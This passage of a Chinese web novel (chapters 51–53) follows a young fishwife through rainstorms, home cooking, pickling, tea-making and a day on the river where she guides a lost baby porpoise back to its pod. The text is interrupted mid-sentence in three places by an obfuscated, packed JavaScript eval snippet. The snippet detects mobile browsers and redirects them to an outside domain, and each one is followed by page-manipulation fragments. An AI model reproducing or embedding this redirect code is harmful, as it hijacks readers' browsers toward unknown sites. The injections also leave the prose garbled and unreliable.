他不来镇上正好，不然平安还得发愁怎么支开他。 一来她想去大河那边弄些鱼回，二来她想找到齐鸣将那笔钱还给他。之前她去找了他好几回，都没见他人影，那一贯多钱放在她这，她心中总是不自在。 让平安失望的是，今日捕捞收成勉勉强强，去汉云码头也没找到齐鸣。 她算了算手中的银钱，尚不足十贯，离建房子还差得远。 为今之计，只有多处开花赚些辛苦钱。 鱼她要捞，摊她也要接着摆。 只可惜，接下来数日阴雨连绵，地面腾起的暑气被连续的倾盆暴雨瞬间冲散，摆摊大计只得暂时搁置。 许是因着端午摆摊积累了些鱼丸的回头客，这几日档口生意稍有回暖。 平安也有了机会拉着木头练习杀鱼，慢慢地，他杀起鱼来逐渐有模有样，只是片鱼技术不太成。 在大河里，早晚才是鱼群活动的高峰期，可平安每每都错开了这种好时机。 有了木头帮忙，平安就只等着哪日雨停开天，便将档□□给他，她则赶早往大河而去。 51. 杀鱼的第五十一天 只是晴日尚未等到，玉溪镇便迎来数场暴雨。 听着外边狂风呼啸，雨滴砸得咚咚作响，平安从门缝往外看去，花花草草已被打落一地的枝叶，院中更是积满一层雨水，哗啦的流水顺着排水沟与新落的雨水一同挤入房前屋后的明沟。 不消片刻，两尺宽的沟渠便难以容纳这接踵而至的流水，纷纷决口溢出。 这下，爷爷坐不住了，他推开院门一看，外面的村道早已泥泞一片，遍布坑坑洼洼的水坑，家家户户都有人披着斗笠蓑衣在外边行走。 也不怪众人都如此着急，实在是这洪涝一旦发生，那损失不可小觑。 大伙出门一来是为了查看河堤，提防决口；二来这会稻子已然结穗，收割在望，若是风雨过大，稻穗大片倒伏，稻子未熟，转晴也不能立住，只得是烂在田里做肥料，收成惨淡自不必说，上半年的劳作算是付诸流水；再则，若是积水过深，水漫池塘，里面的鱼若是跑掉，那真能将人气死。 平安也拿上蓑衣要同爷爷出门，却被木头一把拦住：“娘子，我去。” 胡水生杵着锄头回首望向两人：“成，榆明赶快把蓑衣穿好，拿着担子与扁担。” “注意安全！”看着两人匆匆离去的背影，平安倚门叮咛。 “知道了。”木头的声音伴着潇潇雨声模糊传来。 “嗷~~”灰灰在脚边急得打转。 平安拍了拍它脑袋，从檐下走到放鱼的杂间查看情况。 那屋子的房梁与椽木都比其他房子老旧，往年每刮大风，屋顶被风吹走那是常事。 平安刚将门推开，里面的三花便如离弦之箭，嗖地一下从窗缝中逃走。 这么大的雨，这狸奴能逃到哪里？ 平安赶忙推开窗户，温声朝外面唤道：“咪咪，咪咪，快过来，咪咪。” 雨水瞬间灌了进来，给了平安迎面一兜，她擦干眼睛周边的水，努力睁大眼睛寻觅它的踪影。 “喵~~” 在猎猎的风声中，外头终于传来一声微弱的回应，可平安却始终找不到它的位置。 等了半晌，她只得掏出一条小鱼放在窗台，等它饿时衔取。 这会外边风声依旧，杂物间的屋顶被风吹得咯吱作响。平安取来黄泥、米糊搅拌，又加入稻草碎混匀，待将这补洞材料备好，她便四处试探何处漏风，搭上楼梯将缝隙细细堵住。 爷爷他们还不知道要什么时候才会回来，平安忙完这些，便准备将菜与配料备好。 最近阴雨连绵，许多百姓出行不便，连带着市集里的生意都冷清许多。 对平安而言，唯一的好可能就是气温骤降，鱼的存活率变高。 今日卖完鱼她便从屠户那提了两根仔花肠，说是肠，但它并非猪的肠子，只是形状有些相似。 这花肠，一头猪身上就那么两根，说是肠，但它并非猪肠，因它模样蜷缩似粉嫩花卷，故而被称为花肠。它口感弹嫩脆爽，自是没得说，吃过的人都念念难忘。这东西稀少又紧俏，若不是屠户这两天生意不大好，怕是还轮不上她捡漏。 将这花肠洗净，取葱姜黄酒腌制半晌后切成薄片，平安另备好香料等着爆炒。 炖锅中扔入猪龙骨、姜片、水，平安便开始炖煮骨头汤。 这汤不拘是用来下面、还是打汤都十分鲜美。 在炖汤的间隙，平安将豆角抽筋丝、揪成小段，洗干净后放入篮中沥干水分。 每到夏季，地里的豆角、刀豆、青瓜都见风就长，只要施水得宜，前一晚还是拇指大小，第二日便已至成人半臂长。 也是因此，这吃的速度远远赶不上结的速度。除了切碎一些给鸡鸭做食之外，当地人也会拿出家中珍藏许久的坛子，用来窖制这些新鲜的瓜果蔬菜。 说起这坛子，也有些神奇，同样的配方与步骤，不同的人上手，做出来的坛子却好坏不一。在小小的月河村里，那也是千人千味。有人爱放香料、有人爱放肥肉、还有人就用普通的盐水。 有那做得好的坛子，即使是在湿热的夏季，里面的盐水依旧不腐不坏不起白色膜层，这样的好坛子水在当地可是一勺难求。 平安自己做的坛子虽不至于那样神奇，但水质是漂亮清澈的紫红色，泡出的蔬果亦酸辣爽口，甜咸得宜。 用白开水化开冰糖、放凉后加入重盐、藠头、紫苏、茱萸拌匀，这些调料即可防腐又可增香提鲜。等水发好，便可加入青瓜段、豆角、刀豆之类浸泡发酵。 若是天冷，隔日可食，若是天热，半日即可，再多则酸。 平安夹出她早上泡的几根青瓜，又加了些新的入坛。早上还翠绿的青瓜这会已被酸水酵成浅浅的黄绿色，青瓜嫩绿的切面也被紫苏浸染出一层淡淡的粉紫色，闻起来还有袅袅的紫苏香。 吃起来则清脆水嫩，酸辣香甜，回味间伴随有淡淡的咸味，却不显冲突，甜咸两味在这块小小的青瓜里融合得完美又适宜。 眼看着天色渐晚，爷爷他们却还没有回，平安只得将菜陆续做了出来。 香辣的爆炒仔花肠、鲜香滑嫩的龙骨猪血汤、软糯微甜的清炒豆角、粉粉糯糯的水煮南瓜、酸辣脆甜的泡青瓜，除了荤菜，其余的都是一些当季的家常小菜。 四时有序，顺时而食。农家按四时节气播种，亦顺时而收获。在平安看来，自家精心伺养种出来的菜，可比那城里的要来得水嫩清甜。 将菜用盖子罩好，平安便去了东屋看她的栀子花茶与栀子花香膏。 这茶胚是她与爷爷择早春的茶叶嫩尖杀青窖制晾干储存，只待栀子花开，便采摘初初绽放时的最香花苞，挑去会产生杂味的茎、叶、花萼、花蕊，将剩余的花瓣与茶胚层层叠放混合吸香，静置后放簸箕架上自然发酵。 她就几颗茶叶树，毛尖并不多，一年最多得个一二两，是以她将其他的次等茶叶也加入了窖制过程，分簸箕储存。 刚推开门，一股浓郁的栀子花香便幽幽朝鼻间袭来。 平安满足地深吸一口，将新鲜干燥的花瓣放入香膏表面，转身仔细地检查了番茶叶与屋子情况，这才小心将门落锁。 这花茶费时费力，得经过筛花、发酵、多次窖花、静置、起花、提香等多个步骤方可得。 花茶制好后，只需拈上几根，用热水冲泡，遇热便可出香，入口更是栀香浓郁，回味甘甜清冽。 往年平安窖制的花茶，即使冲泡数次，杯中依旧隐有花香。 市面上这样的花茶窖制越久，价越贵，一斤价值几百文至数贯不等。 平安买不起，却偏偏馋栀子的清香与茶叶的甘甜，也只能耗费时间来换得几两好茶。 思及此，她不由期待这茶制好那日，届时，她定要配上几样好糕点来就它。 “娘子！”木头的声音从院外传来，霎时打破平安的遐思。 “回来了？”平安赶忙将饭端出，快步走到门前。 爷爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14502314|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和木头这会已全身湿透，身上亦满是泥污，走一步地面便留下一层深深的水渍。那样大的雨，地面积水又深，戴斗笠穿蓑衣仅能减少几分雨水拍面的痛，该湿还得湿。 “是啊。”胡水生取下蓑衣，叮嘱平安，“桥上的水已经淹到了大腿，我给你往上两米打了个新桩，你在水边可得小心。” 平安心中一惊，今早水位才将将淹没石桥，这会竟然涨水那么快。 “咱家田和池塘没事吧？”她提心吊胆地问道。 “没事，田里大家挖缺了田埂，放了些水出去，塘里我和榆明挑了些石子泥巴把四周加高了点。” 闻言，平安这才放下心。趁爷爷与木头换洗的间隙，平安上锅熬制了壶姜水，一人倒上一杯后，她端来梅酱，舀上小勺增添风味，吃起来酸酸甜甜，略带丝丝辣意，用来驱寒解腻正好。 忙完这些，一家人方围坐用起晚膳。 今日这花肠，木头从未吃过，乍入口，便被它独特的口感所俘获。 吃起来脆脆弹弹，肉质细腻又劲道，口感极其独特，再佐以姜蒜酱油芥辣用大火爆炒颠锅，喷香的锅气顿时溢出，与此同时，嫩嫩弹弹的花肠裹满咸香的酱汁，其中香辣可想而知。 “真好吃，娘子，这是什么？”木头一开口，平安便与爷爷默契对视一眼。 “呃，是猪身上的花肠。”平安心虚应道。 “喔。”木头点点头，笑道，“娘子你别害怕，上次的腊肠我都吃得好好的，这个我也不在怕的。” 说到这里，木头不禁又怀念起那道金黄香浓的蒜炒腊肠来。 “娘子，咱家还有腊肠吗？” “有，但不多了，你哪天想吃同我说一声。” “嗯嗯。”木头大口扒饭，满足地点点头。 看他毫不在意地模样，平安暗暗松了口气。 待得就寝，躺在床上的木头陡然出声：“哎~~” 这可着实吓了平安一跳，她方欲开口，身侧便传来阵阵摸索的动静，大半夜不睡觉，摸来摸去做什么？ “你做什么？”平安低声问道。 木头侧身看向她，语中满是好奇：“娘子你说，那花花肠子的花肠，莫不是就是咱们晚上吃的这个花肠吧？” 这问题平安也不知，木头却兴致高昂。他的手顺着手肘摸向平安掌心，然后将她的手掌温柔地捏在手心，这才同她说道：“都说吃什么补什么，不过娘子你放心，我即使吃多了这花肠，我也不会学那花花肠子。” “真的？”平安哑然失笑，连声音都控制不住地带了几分颤抖的笑意，她一时间真的有些分不清这人这句话是为了表衷心还是为了多吃点花肠了。 等他知晓这花肠是什么，怕是他再也不会说这种话。 “那还有假？”木头笃然拍了拍心口，“咱们村里镇上哪个小娘子不夸我，可我心里就娘子一个。” 今日这雨，时大时小，等到夜幕降临也依旧淅淅沥沥，平安替木头纳好胸口的被子，听着连绵不断的清脆敲瓦声慢慢入睡。 等到次日，夫妻俩心惊胆颤地踏上去档口的路。河堤河坡的路面早被雨水泡发，走上去滑不溜秋，稍不留神，便会失足溜进河中。 小船在风浪中晃晃悠悠，一路有惊无险地抵达镇上。 所幸到了下午，雨便慢慢停了下来。 收拾好大雨留下的一地狼藉，平安理了理饵料与渔网，只待明早去大河捞上一把好的。 52. 杀鱼的第五十二天 天未破晓，平安便将木头送到码头。 码头这会已船来船往，不少纤夫忙着牵拉货船泊岸，待得木梯放下，搬运工人便一拥而上。 “娘子，小心啊。”木头挤在人群中，踮起脚朝渔船挥手。 “会的。平安回首应诺。 随着夏季到来，天亮得愈发早，这会行船，除了天幕上隐有亮光外，沿河亦有星星点点的灯笼引路。稳妥起见，平安船头船尾皆吊上了渔灯。 这会的水面深蓝又静谧，可只有夏季在水边待过的人才知，这里面潜藏有多少未知的危机。 纵使顺流而下，平安依旧不敢掉以轻心。 遇着水草丰茂的河湾，她观察半晌后方停船放地笼。 像小河鱼、小河虾这类鱼虾，因着个头小，数量多，在河中一向是其它肉食鱼类的首要狩猎对象。 为了生存，它们常在树荫、水潭、石头底之类僻静之地进行活动，以便躲避天敌的攻击。 这水流平缓，水草茂密的河湾拐角，正是它们常在的栖息地。 待抛下饵料，水面很快泛起涟漪。 平安扔下地笼，寻了两个隐秘角落快速将地笼的绳子系好，只待返程时取回。 给地笼做好掩护后，她便加速往大河赶去。 前几次她都是顺流而下，在下游捕捞。 今日她打算也随鱼群溯游，往上游而去。 前几日暴雨，水质不如往常清澈，河面亦漂着不少残段树枝。 若是离得近的，平安便用钩子勾起，把它们扔到岸边。 大河水势磅礴，每日吞吐水量难以计量。加之前几日涨水，今日河面格外汹涌颠簸，饶是平安经验丰富，也须得屏气凝神，小心划动船桨，这才勉强稳住平衡。 待寻得一水面狭窄的河湾铧尖处，平安环视周匝，见得四周寂静无人，耳边唯有簌簌风声，她方小心将船锚抛下，在此处撒网捕捞。 听爷爷他们讲，每回河中涨水，河流两侧的水流速度差距便会增大。 河岸线笔直那侧流速快，河面的树叶、花草之类鱼食亦随奔腾的水流冲走，而曲折的河湾之处因着流速平缓，浪恬波静，许多飘零在河面的鱼食被冲刷堆积至此，便可引来大鱼在此处觅食。 见得河面不时泛起密集的气泡，河面浮漂吃重，平安快速收拢渔网，等网兜收紧，她用力将渔网提出水面。 伴随着淅淅沥沥的水声，这一网鱼也露出庐山真面目。它们有大有小，个个活蹦乱跳，乍然提出水面，那些鱼儿察觉危险，开始在网中大力挣扎，船头竟因这股歪力在河面左右摇晃。 平安忙稳住身形，将渔网摊平在甲板上。 解开网绳，扔掉一些缠绕在渔网上的树枝与水草，平安便开始将鱼分类。 这一网有不少七八斤重的草鱼、青鱼，刚刚甩尾最猛的便是这几条大家伙；剩下的鱼中多是一些一两斤重的鲫鱼鲤鱼鳊鱼，还有一些色彩艳丽的七星鱼、鳑鲏鱼。 这七星鱼头扁吻宽，头脊多呈黄褐色，背部有多条横向斑纹，全身布满珠色鳞片，在水中时常散发幽幽的蓝绿色彩光，它的名字也是因此而来。七星鱼适应性强，湖泊、小溪、河流、处处皆可找到它的踪影。别看它个头不大，可它在水中性情格外凶猛，多以小鱼小虾为食。 而这鳑鲏更是拇指长短，体型扁瘦，入口无一两肉，虽它体侧有绚丽发亮的纵行彩虹条纹，可富人看不上，穷人也不喜吃，在村里常是剁碎喂鸡鸭的下场。 快速将鱼分好，平安便收锚继续逆流而上。 一路上，她陆陆续续又撒了好几网。 这会天已然大亮，红日带着朝霞从东边冉冉升起，将江面染成温柔又艳丽的橘红色。 再过一段时间，鱼群的活跃期就要过去。望着船舱里活蹦乱跳的河鱼，平安心下满意，决定再捞两网就收手。 就在她划船想要寻找下一个捕捞点时，船尾却传来一阵奇怪的震动。 唯恐又遇上上次鳄鱼那样的大家伙，平安心中大惊，她一边加快速度，一边回头查探情况。 船后果真出现一阵密集尖锐的波浪，再度朝她的船尾冲来。 她偏它也偏，她快它也快。 电光火石之间，平安心中瞬间涌现无数种猜测，这到底是什么东西？鳄鱼？大蛇还是大鱼？ 这里远离滩涂沼泽，应当不是那鳄鱼才是。大蛇？她船上也没什么东西吸引它吧？大鱼，应不至于目标这样明确跟着船走。 可这样大的动静，这样宽的波纹，都昭示着这藏匿在水中的东西体型不小。 平安心摇胆战，心中不由哀叹，怎么每次丰收都能让她遇到情况，这些东西真是闻着味就来。 没有太多时间给她思考，平安正欲加速，船尾却被砰地一撞，船身受力大幅颠簸，将扭头回望的平安猝不及防冲撞下船，直朝大河扑去。 所幸这会的河水并不刺骨，掉下去不至于让人浑身哆嗦。平安憋住一口气，在水中扎了个猛子后，快速浮出水面。 “咩~~”耳中突然传来一阵似羔羊撒娇，又似小鸟脆啼的可爱叫声。 平安擦干脸上的水，恰好与一双圆溜溜的黑色眼睛对上。 见她发现自己，它的头露出水面，朝她噗噗喷出一串水柱。 不待平安反应过来，它似害羞般潜入水底，不过片刻，又仰冲而起，不住地翻滚、跳跃、点头，围着船转了好几个圈。 见得眼前的人似乎没有什么反应，它好奇朝平安靠近，用圆润宽短的吻部轻轻顶了平安手臂，而后又似受惊般快速窜逃潜水。 这淡淡的灰蓝色，微凸的额头还有那圆润流畅的身形，这不是江豚是什么？ 可江豚一向群居，在长江活跃居多，成年江豚身长也与成人无异。 这只明显还是幼崽的江豚离群独居，傻乎乎地逆这支流而上，它是要做什么？这会离它的族群越来越远。 平安抓住船边，用力将船拉倾后快速爬上船，她先去看了看舱里的鱼，果真不少都被颠了出来。将它们放回原位后，她这才低头处理狼狈的衣着。 方才掉下去，她全身上下湿了个透，她拧了拧衣服，里面的水哒哒地流，头上这会也是湿重不已，她便将发髻拆散，拧干发尾的水。 在水中不觉得，一出来，这湿漉漉的衣服贴在身上被晨风一吹，浑身都不舒服。 这会四周无人，平安甩了甩头发，索性把也褙子脱下，挂在船舱门头晾晒。 忙完这些，见这小江豚还没走，竟还在一旁傻乎乎地观察她，平安也不由无奈轻笑。她尝试性地往前划桨，这小江豚便跟着她走。她变方向，它也觉得好玩般随她在水中乱窜。 有这小家伙在，鱼群早已被它拍散，这会哪还能捞得上鱼。 平安当即决定调转船头返程，回首望去，那小家伙动作却迟疑了下来。 平安心中无奈，咬牙走到船舱，挑了一条小鳜鱼朝船后扔去。 见得投喂，小江豚一个摆尾，慢慢靠近渔船，吞掉那条鱼。 平安见状忙加速前进，船尾破水顿时在江面划出层层激荡水浪，这小江豚似对水浪十分好奇，一路追逐平安往下游而去。 幸亏天热，不过半炷香，褙子已然晾得半干，平安见得对面有船驶来，忙将衣服套好，把头发松松挽了个髻。 待那条大船经过，平安往船尾望去，小江豚果真被它的船浪吸引，这会正处在两船中间踌躇不前。 为防止它半途跑路，平安只得隔一段时间便扔下几只小鱼钓着它，直到过了玉溪河与洛江的交汇处，它依旧紧追不舍，平安这才暗松一口气。 可眼看这河段商船与渔船逐渐变多，她悬着的心才落下便又腾地提起。 江豚价值珍贵，不乏猎奇的权贵们将它视作盘中餐，毕竟，他们连剧毒的河豚都爱吃。 若是被这些船看到，那它可就危险。 为安全着想，平安只得在加快速度的同时，尽量靠边行船。 也幸亏今日水深，它又无背鳍，只要它不冒出水面引人注意，依旧可以安全藏匿在水中。 平安一路提心吊胆快速前行，总算与那些船只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533987|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错身，再回首，身后却只余一片寂静。 她呼吸猛然一窒，这是跑前面了，还是在哪里跟丢了？她刚刚只注意躲船，全然忘记船后是什么时候没的动静。 平安放慢船速，木桨轻轻在水面拨动，目光在河面四处逡巡。 除了岸边的鸟啼声，一时间，她耳边寂静得只余拨桨的清凌凌水声。 “咩咩？”平安低声唤道。 等了半晌，久久未见回应。平安的心猛然下沉。 “噗~~~” 就当她绝望放弃，想要调转船身去找它时，身后再度传来熟悉的喷水声。 平安往后望去，就见它正竖游在水中，圆滚滚的头部完全暴露出水面，对着自己噗噗喷水。 “吓死我了，小家伙。”平安笑着拍了拍心口，转身又给它扔下一条鱼。 一人一豚继续顺流而下，眼见着距离云梦湖与沼泽地越来越近，平安心下不禁惶然起来。 若是找不到它的族群，那自己该将它送到哪儿？ 正在她一筹莫展之际，水面又刷刷冒出几个圆溜溜的脑袋，齐齐朝她发出咩咩的声音。 它们围着渔船绕游几圈，又在水中不住腾跃、朝她喷水。 平安只当它们在表达谢意，她一时不察，手却不知被什么东西砸得一阵剧痛。她低头往船板看去，原来，随着那些水柱而来的，竟还有数条线条流畅的银色大鱼。 平安弯腰细看，竟是几条刀鱼和大银鱼。 这可是稀罕物，这些鱼和江豚一般，多在海里活动，它们虽能在淡水生存，可是数量极少，价值比之鲥鱼只会高不会低。 将这些鱼捡进舱的功夫，那些江豚一个翻滚潜入水中，便不见了踪影。 平安目送它们远去，直至再也看不到它们的背影，她便调转船身，打算撒上两网把船舱和桶填满。 正当她悠悠收网时，水面再度泛起熟悉的清波。 “哗啦！”小江豚破水而出，它扬起头紧挨着船想要靠近平安。 “乖！”平安心下惊喜，也只能摸摸它的头，劝它离开，“快回去吧，下次别走丢了。” “咩~~”小江豚念念不舍地看她一眼，随即潜入水中离开。 平安放目远眺，只见几条江豚在湛蓝的水面上连连跃水翻腾，身后还跟着一条落后的小尾巴，见它落得远了，便有大江豚返身护在它身侧。江豚们在波光粼粼的江面上嬉戏片刻，随后扎入水中再也不见踪影。 今日虽亏了些鱼，但它们送来的这些鱼足以抵她之前的鲥鱼。 只待去汉云码头卖掉，今日便可赚上一大笔。 这会太阳渐渐南移，但距离午时还尚早，码头早已是船来人往，热闹非凡。 平安瞄准目标，专寻那些路过的大船叫卖。 这刀鱼和大银鱼许多人都认识，但出得起价的还得是有钱人。 若是遇着官船，里面的人手指缝里漏一点，就够她吃上多日。 平安初初叫卖，无太多人搭理，可当她从舱中掏出两条银白漂亮的大鱼后，便瞬间引来许多人围观。 这样的品相与大小，可比鲥鱼还要稀有。 聚拢了人气，这些鱼迅速被路过的官眷夫人看中，把它们全部包圆。加上打赏，平安一共到手三贯。她把船舱里的大鱼分了大半给鱼贩，又卖得四五百文。 摸着这些冰凉的铜板，平安只觉心中滚烫，还有就是后悔，后悔没早些捕鱼，这早上的收获可比下午不知丰厚多少。 一路收回地笼，平安便往镇上赶去。 谁知她刚到码头，就见得木头正坐在树下等她。 “娘子。” “档口的鱼卖完了？”平安擦了擦额间的汗，温声问道。 “卖完了，我也吃了午膳。”木头扇了扇风，边说边跳上船，说罢，他从怀中芋荷饼塞给平安，“你先吃点垫垫肚子，我来划船。” 平安咬了口饼，突然想起家中的存粮，忙出声唤道：“等等。” “怎么了？” “你看着船，我买些东西回去。” 53. 杀鱼的第五十三天 平安喊上冰铺替她送两块冰去码头，自个则从屠户那提了一块里脊肉，买了些板油准备熬油。 等在船头的木头看平安提了这么多东西，躬身上前要替她接过。 “没事的。”平安笑着避开，“你拉好绳子，别让船跑了。” “娘子。”木头不虞叹道，“你总得让我帮帮你，别总是拒绝我。” 平安从小到大独立惯了，遇着什么事情也只会自己思索解决，这会听得这话也不禁怔愣。除了爷爷外，难得遇着一个人这样心疼她。对于他明烈炽热的好意，平安心中其实有几分受用。 良久，她眨了眨眼睛，笑着应诺：“好。” 待两人在船头坐好，渔船便晃晃悠悠离岸，慢慢朝月河村驶去。 “你午饭吃了些什么？”平安好奇问道。 “也是吃的饼。”木头讷讷应道。 “忙了半晌，你辛苦了。” “哎！”木头不悦反驳，“娘子你可比我更辛苦，我在档口还有邻居们帮扶，累不着什么。” “知晓了，就你嘴甜。”平安好心情地塞了条香脆小麻花到他嘴里，与他一同站立船头眺望前方。 “我就只给娘子甜，别人我还不乐意呢。”木头低声嗯哼，扭头挑眉。 平安终是按捺不住唇角的笑意，伸手捏了捏他颊肉。 木头划桨的动作一僵，他顿了顿，低声说道：“娘子你快松手。” “是我太用力了？”平安赶忙松开。 木头轻咳两声，嗔怪地看她一眼：“你这是挑逗。” “挑逗？”她这么正常的举止，这叫挑逗，那他可真不经逗。 见四处无人，平安玩心大起，她靠近木头，指节从他喉结快速滑过，如愿看他腾地站直，平安快速收手，附在他耳边笑道：“这才是挑逗。” “你。”木头喉结上下耸动，犹疑地盯着她打量半晌，最终只得闷闷转移话题。 “娘子你呢，在洛江还顺利吗？” “顺利。”平安点点头，笑问，“你猜猜我在大河看到了什么？” “什么？” “江豚。” “江豚？” “是啊，听说它们长相与海中的豚无异，我刚刚瞧着，它们脑袋圆滚，唇角上扬，模样确实憨态可掬。” “真的？长什么样，娘子你与我细细说。”两人一路谈笑，将先前话题就此掠过。 看孙女孙婿两人笑得满面春风，胡水生也知他们今日在外顺畅。 “回来了？”胡水生从檐下往院中走去。 “爷爷。”平安问道，“可用午食了？” “吃了，吃了。”胡水生摆摆手，指着灶房道，“不知道你俩回不回，锅里还留着点绿豆稀饭，你们去喝完。” “好咧。”木头放下桶，喜滋滋应道。 平安将地笼与渔网理好晾晒，木头那厢已坐在桌前，大口喝起甜粥来。 “饿成这样？”平安好笑问道。 “娘子，你坐，你的我给你盛好了。”木头抽闲抬首回话。 这绿豆稀饭不知在柴火灶上熬了多久，这会绿豆已然颗颗粉烂，入口绵密软糯，或是加糖，或是就着咸菜，都十分得宜。 忙完这些，一家人便开始各司其职。 爷爷编竹席，木头摘栀子，平安则提着篮子去到村里土地庙，那旁边有一棵高大的薜荔树，它结的果子正好用来搓凉粉。 不过这果子里的籽得晒干取用，今日是做不成了。 这薜荔果状似倒立莲蓬，植株也分公母，她今儿要找的这棵便是母的，它结出的果子才可用作凉粉，往年她摘过好几次。 若要区分公母其实也很简单，看它们的果子就成。这雌果底部微凸，切开后果实呈蜜黄色，它的果瓤可以直接食用，而雄果里边是紫红色，果肉少，只能当个秤砣用。 这棵树村里不少人都知道，底下好摘的果子早已被摘个精光。 听着树上不时传来的知了鸣叫，平安挽起袖角，三两步攀上树干，踩上枝丫。这树年份已久，他的枝丫处踩上一两个成人没有问题。 也正因为它年份久，枝干延长，结的果子皆在一两米开外的树梢，平安挤在茂密的枝干中间，伸直手臂，费劲半晌，这才勉强摘上一小篮。 待归家，平安净手将新一轮的栀子花换上，这才喊来木头剖薜荔果。 听得有凉粉可做，木头乐颠颠随平安进了灶房。 平安将切开的薜荔与调羹扔给木头，她则处理起今日买回的肉来。 这板油，杀猪的屠户已给她切成小块，她只需翻开检查，若是觉得大了，偶尔补上几刀就成。 炉灶烧火，两锅同时下入切好的猪板油。 这板油方才她用了水清洗，这会上面还带着水分，熬油时她也不再加水。 许多人家为了出油快，不焦油，在熬油时会放些水进去，这法子是可以，但熬成以后也需继续熬煮，直至将油里的水熬干。 熬久了，油会变黄发苦；熬短了，油里掺杂水分，猪油极易变质生出怪味。这其中的火候着实难以把控，平安也就索性不偷懒，一开始勤快些翻拌就是。 随着炉灶内发出噼里啪啦的爆竹声，锅中亦响起阵阵滋滋的爆油声。 平安不时用锅铲翻了翻肥肉，让它们受热均匀，接着便开始处理起里脊肉和今日晚膳来。 将里脊肉剔出筋膜，用淘米水搓洗干净后晾干。 取黄酒两杯、醋大半杯、酱油一杯、与一钱茴香、花椒翻拌熬煮。 另起小炉灶，把里脊肉切成微厚的肉片，放入上述香料酱汁中文火熬煮。 做好这些，锅中油水已慢慢渗出，可表面的肉片依旧白皙肥厚，平安用锅铲小心地抄底翻拌，待将那些肥肉翻至锅底，便盖上锅盖一齐焖熬。 “娘子，凉粉籽剥出来了。”木头小心翼翼将棉布捧起，走到灶前向平安邀功。 平安赶忙拿出簸箕接住，顺道夸赞一句：“真厉害，做这么快。” “那是。”木头头颅高昂，轻哼一声后，自觉地端着簸箕放外面晾晒。 望着他低头躲门框的局促背影，平安捂嘴轻笑，果真是个小孩心性。 平安将笋干、竹荪干、木耳干放水中泡发，舀上一碗绿豆粉，加两碗水置于盆中翻拌至无颗粒。 这会锅已占满，需得等猪油炸出才可溜出粉皮。 平安索性去杂物房挑来一条鲤鱼，和一些虾子，先将配料备好。 鲤鱼去皮、剔骨，鲜虾去头、剥壳，将它们分别剁成颗粒状的肉茸。 一半鱼肉加入二两油渣，一束韭菜，另添陈皮、姜末、葱丝、甜面酱、胡椒粉、酱油、少许盐腌制入味。 另一半鱼则与切碎的虾肉、笋尖、竹荪、木耳混匀，加入黄酒、姜丝、葱段腌制片刻后，将姜丝、葱段挑出。 平安掀开锅盖再看，这会锅中油水丰盛，面上的肉片两侧微微蜷曲焦黄，正浮在油上冒泡。 平安舀上一勺细油水细看，油汤澄澈清亮，正正好。 她立马抽出柴火，往油罐里扔上一把黄豆后，快速将锅中猪油沥出倒入。 至于那些油渣，则放在沥网上继续过滤，底下放个盆接着。 平安提着油罐耳朵，将它搬到角落冷却。 今儿这肥肉熬得还不错，她掂量着这重量，起码出了五六斤油。 就着锅中的薄油，平安将鱼虾肉粒放入锅中小火煸炒，待炒至变色，盛出放凉，入焯水的笋子、竹荪、木耳，下酱油、胡椒粉、麻油翻拌均匀。 她今日想做两样兜子，一味山海兜子，一味鲤鱼兜子。 有了馅，自然得将皮蒸出。 这会另一侧的锅中水已沸腾，平安取出箩子，刷上一层薄油后，一手拿箩，另一手舀入一勺粉浆。 待粉浆入盘，左手快速旋转，使得粉浆迅速铺满箩盘。这样做出的粉皮才会厚薄均匀，吃起来细腻柔韧。 将凝固的粉皮过凉水，剥出放凉，再舀入粉浆，继续烹熟。 如此重复半晌后，平安手边已叠出一层洁白的粉皮。 将粉皮切成方形，中间放入馅料，四面堆叠折好，一个个洁白莹润，圆圆鼓鼓的兜子便出炉。 这会，里脊肉中的汤水已然熬干，平安将肉片捞出熄火。 “榆明！”平安跑到堂屋去寻人，见木头这会正围在爷爷身边闲聊，忙朝他招招手。 “娘子，咋了？” 平安指着盆中的肉片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14545324|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，对他道：“你把它们放在外边晾晒，记得拿细布挡一挡虫子。” 闻着飘香的肉片，木头眼巴巴地盯着看了半晌，暗自咽了咽口水。 “你吃一片。”平安好笑地递过筷子。 “味道可够？” “勉强吧。”木头抿了抿嘴，接着道，“香味却是足够了。” “好，先晒着，到时候咱们吃再涂上一层甜酱。” “甜的？” “正是，我要做的就是甘露脯，咱们往后出去都可以带在身上做干粮，免得腹中无油水容易饿。” “成。”木头边往外走，边应道，“还是娘子心疼我。” 做完这些，剩下几道菜就简单许多。 平安出去看了看木头晒的东西，帮爷爷做了会竹编，便接着回了灶房。 